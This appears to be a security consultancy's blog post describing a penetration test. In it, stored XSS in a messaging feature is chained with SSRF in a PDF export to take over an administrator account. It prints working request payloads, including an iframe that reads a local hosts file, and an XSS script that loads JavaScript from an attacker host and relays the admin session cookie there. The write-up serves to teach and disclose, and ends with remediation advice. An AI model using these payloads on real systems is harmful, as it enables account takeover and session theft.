Jack O'Sullivan
January 7 2021
In this blog, Harry - one of our Security Consultants here at Secarma - takes you through how it's done, step by step.
On a recent engagement, we came across a set of vulnerabilities, that when used in conjunction, could lead to account takeover of administrative accounts within the application. Both of the vulnerabilities found were high risk by themselves, but when combined, led to a critical issue.
The two vulnerabilities found were Stored Cross-Site Scripting (XSS) and Server-Side Request Forgery (SSRF). Now, as both of these vulnerabilities are well documented, but for the sake of completeness, here's a breakdown:
XSS
XSS vulnerabilities arise when an application mishandles user input. That is to say, a user can provide data that is either stored and displayed unsanitised or unencoded (Stored XSS), or directly reflected on a page unsanitised or unencoded (Reflected XSS). There is also DOM based XSS, but it’s unnecessary for us to go into detail about that for this write up.
By displaying user input on a page in an unsafe manner, this can allow for attackers to send payloads that usually contain JavaScript code, that when viewed by another user of the site, will execute in the context of that user’s session. The main thing with XSS is not only that you can run arbitrary JS code, but more importantly that it breaks SOP.
These attacks are quite powerful by themselves, but they can become even more effective when combined with other security flaws. For instance, a common issue we see is session cookies being set without the ‘HTTPOnly’ flag. When this is the case, the browser allows JavaScript access to the cookie contents, meaning account takeover is trivial, however, this was not the case on this engagement, which leads us to the next vulnerability.
SSRF
SSRF vulnerabilities can manifest themselves in a number of different ways, though they can all be pretty much be summed up as mishandling user input. As an example, websites will often times have features that allow for the inclusion of resources from another location. For instance, a website that has a profile picture option. Most of the time, this feature will just be a simple upload form, but sometimes you will see that a site will also accept a URL for a picture stored elsewhere.
Issues can arise here if the the input is not validated, for instance, say instead of providing ‘http://somesite.com/profile_picture.jpg’, we instead provide ‘file:///etc/passwd’ as the URL for our profile picture, if the web application allows this, then we get Local File Inclusion (LFI) through an SSRF attack, and thus gain access to the /etc/passwd file. Similarly, this could be used to gain access to the internal network of the remote server by say, providing ‘http://172.16.10.69’.
Assuming that IP address exists on the internal network and hosts a HTTP Service, then a Remote File Inclusion (RFI) occurs, and also allows us to enumerate resources that would otherwise be inaccessible to us. This can be abused in a number of ways, such as performing internal port scans through timing attacks or bypassing WAFs by making a request to a server you own and checking the source IP address.
For further reading about these two vulnerabilities, check out the OWASP official website and github pages, or pick up a copy of the Web Application Hackers Handbook.
Now, let’s take a look at how through a combination of XSS and SSRF we managed to perform an administrative account takeover in a real world example.
My Methodology
Now everyone has there own methodology for a penetration test. My personal preference is to get a brief understanding of the site by browsing, identify any areas that may lead to a quick win, and then immediately go for the jugular. In this case, when I logged into the application, I found a messaging feature.
This feature would be particularly interesting to an attacker as they could target users from within the application. This is for two main reasons:
- It’s targeted, they can choose to message an admin.
- It comes from within the app and doesn’t involve clicking on a link. And we all know how much people hate to see that notification pin on the top of their screen, so they'll open it.
Needless to say, the messaging feature was vulnerable to XSS. Nothing special here, no validation of input and no encoding happening whatsoever. The following shows the sort of request that was sent:
POST /SendMessage HTTP/1.1
Host: vulnerable_site
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
{“Recipient”:“Admin_User”,”subject”:”<script>alert(1)</script>”,”message”:”Message”}
Now when I logged into the application as the admin user (provided for the purposes of testing), I was greeted with a notification that I had a new message, and when I clicked through to read it, I received an alert box. Nothing special, nothing funky, just plain old vanilla XSS.
As mentioned earlier, the cookies were secured properly, so account takeover through plain XSS was not going to be enough.
Later on in the engagement, I started to mess with the PDF export feature. This was just a button that was placed on nearly every page in the application, and once clicked, would provide a PDF of what you were seeing in the browser. This was interesting to me, so I started to have a poke with my intercepting proxy and saw something of note. This feature seemed to work by sending the entirety of the HTML of the page as a POST request to the PDF export feature. Something like the below:
POST /ExportToPDF HTTP/1.1
Host: vulnerable_site
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
{"html":"<html><head>Vulnerable Site</head><body>This website was vulnerable to SSRF</body></html>”}
Now there are a few PDF export libraries out there, and a number of them have had issues in the past, so I started messing around with this to see what I could make it do.
First, I tried an LFI exploit. The request looked something similar to the following:
{"html":"<html><head></head><body><iframe src=\"C:/windows/system32/drivers/etc/hosts\" height=1000 width=1000 /></body></html>"}
And wouldn’t you know it, LFI was achieved:
Now SSRF was confirmed, I tried to see if I could access any of the entries in the hosts file. Unfortunately, it seemed the hosts file may have just been copied from the prod environment, and the test server I was on did not have access. No worries. I then moved on to see if I could access external resources. The payload was something like:
{"html":"<html><head></head><body><iframe src=\"http://attacker.secarma.com/\" height=1000 width=1000 /></body></html>"}
Before submitting, I configured a netcat listener on port 80, and when I clicked submit, I got a hit:
Now there’s a couple of interesting things to note about this image. Firstly, we obviously get informed about the connecting IP address. This matched up to the IP I was testing against anyway, so not noteworthy on this engagement, but had the application been behind a reverse proxy, or a solution like CloudFlare, I could have potentially used this information to test directly against the server, removing any limitations and annoyances that that reverse proxy may cause.
Secondly, we get the user-agent string that is connecting back to us. As we can see, the site is making use of the wkhtmltopdf library which is known to be vulnerable to these kinds of attacks. And finally, and of most importance, the session ID I used to request the PDF was being relayed in this request to my server. I was baffled by why this was happening, but I wasn’t about to pass up an opportunity for account takeover. I went straight back to my XSS vulnerability and created the following payload:
function jsonreq() {
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.open("POST","https://vulnerable_site/ExportToPDF", true);
xmlhttp.setRequestHeader("Content-Type","application/json");
xmlhttp.send(JSON.stringify({"html":"<html><head></head><body><iframe src=\"http://attacker.secarma.com/\" /></body></html>"}));
}
jsonreq();
I hosted this JavaScript on my attacking server and sent the following message through the site:
{“Recipient”:“Admin_User”,”subject”:”<script src="https://attacker.secarma.com/xss_to_ssrf.js"></script>”,”message”:”Message”}
And from there, it was game over. Next time I logged in as the admin account and browsed to my messages, I received a pingback on my attacking server containing the current session cookie for the administrative account.
The Takeaway
The remediation steps for both these issues are very similar. It all falls down to treating all input as malicious input. When an application receives data, it should validate it and encode it before storing and before output. In the case of the PDF export feature, it wouldn’t be possible to encode the input, as it’s required that it is valid HTML. I would therefore suggest using a library with sufficient mitigations for these issues, or implement some form of validation to strip tags that could be used to exploit the SSRF vulnerability.
Want more of Harry's insights? Check out his LinkedIn, or head to our Secarma Labs Twitter for more offensive security musings from our testing team.